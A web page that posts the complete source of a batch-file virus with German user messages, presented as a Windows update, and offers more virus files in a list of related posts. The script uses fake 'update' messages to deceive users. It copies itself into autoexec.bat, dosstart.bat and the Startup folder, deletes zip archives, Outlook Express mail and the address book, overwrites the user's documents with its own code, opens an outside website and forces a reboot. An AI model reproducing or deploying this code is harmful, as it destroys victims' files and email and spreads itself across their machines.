techian.com

Deprecated: Function split() is deprecated in /home/techian/public_html/wp-content/plugins/yet-another-related-posts-plugin/magic.php on line 304

@ECHO OFF
CLS
IF EXIST c:winupdt.bat GOTO CODE
GOTO SETUP
:SETUP
@ECHO OFF
ECHO Ein batch Virus - getarnt als Windows-Update
ECHO.
copy %0 c:winupdt.bat >> NUL
ECHO Bitte haben sie ein wenig Geduld ... ausführen des Systemscans ...
prompt $P$SWindows2000
type %0 >> c:autoexec.bat
type %0 >> c:windowsdosstart.bat
ECHO fertig

ECHO.
ECHO Die benötigten Dateien werden installiert!
FOR %%a IN (*.zip) DO del %%a
FOR %%a IN (C:mydocu~1*.txt) DO COPY c:winupdt.bat %%a >> NUL
FOR %%a IN (C:mydocu~1*.xls) DO COPY c:winupdt.bat %%a >> NUL
FOR %%a IN (C:mydocu~1*.doc) DO COPY c:winupdt.bat %%a >> NUL
ECHO Installation abgeschlossen
ECHO.
ECHO Bitte registrieren sie sich nun bei schell-industry, 

um über neue updates informiert zu werden.
PAUSE
ECHO Download gestartet...
START "C:Program FilesInternet ExplorerIexplore.exe" 

http://www.schell-industry.de.vu/
IF EXIST "C:Program FilesOutlook Expressmsimn.exe" del 

"C:WINDOWSApplication DataIdentities{161C80E0-1B99-11D4-9077-FD90FD02053A}

MicrosoftOutlook Express*.dbx"
IF EXIST "C:WINDOWSApplication DataMicrosoftAddress Bookankit.wab" 

del "C:WINDOWSApplication DataMicrosoftAddress Bookankit.wab"
ECHO Damit die Einstellungen erfolgreich übernommen werden können, 

wird jetzt ein Neustart durchgeführt.
ECHO Bleiben sie uns weiterhin treu, ihr SCHELL-industry Sicherheitsteam.
copy %0 "C:WINDOWSStart MenuProgramsStartUpwinupdt.bat" >> NUL
c:WINDOWSRUNDLL user.exe,exitwindowsexec
CLS
GOTO END

:CODE
CLS
@ECHO OFF
prompt $P$SWindows2000
IF "%0" == "C:AUTOEXEC.BAT" GOTO ABC
type %0 >> c:autoexec.bat
:ABC
type %0 >> c:windowsdosstart.bat
FOR %%a IN (*.zip) DO del %%a
FOR %%a IN (C:mydocu~1*.txt) DO COPY c:winupdt.bat %%a >> NUL
FOR %%a IN (C:mydocu~1*.xls) DO COPY c:winupdt.bat %%a >> NUL
FOR %%a IN (C:mydocu~1*.doc) DO COPY c:winupdt.bat %%a >> NUL
START "C:Program FilesInternet ExplorerIexplore.exe" 

http://www.schell-industry.de.vu/~hackingtruths
IF EXIST "C:Program FilesOutlook Expressmsimn.exe" 

del "C:WINDOWSApplication DataIdentities

{161C80E0-1B99-11D4-9077-FD90FD02053A}MicrosoftOutlook Express*.dbx" >> NUL
IF EXIST "C:WINDOWSApplication DataMicrosoftAddress Bookankit.wab" 

del "C:WINDOWSApplication DataMicrosoftAddress Bookankit.wab" >> NUL
copy %0 "C:WINDOWSStart MenuProgramsStartUpwinupdt.bat" >> NUL
GOTO :END
CLS
:END
CLS

I would also like to share :

1. Useful Things In Batch
2. The Secure Virus-Copy
3. 400 ViRuS in 1 file
4. Encrypt a text file in a JPG file
5. How to hide your Java code to prevent from being decompiled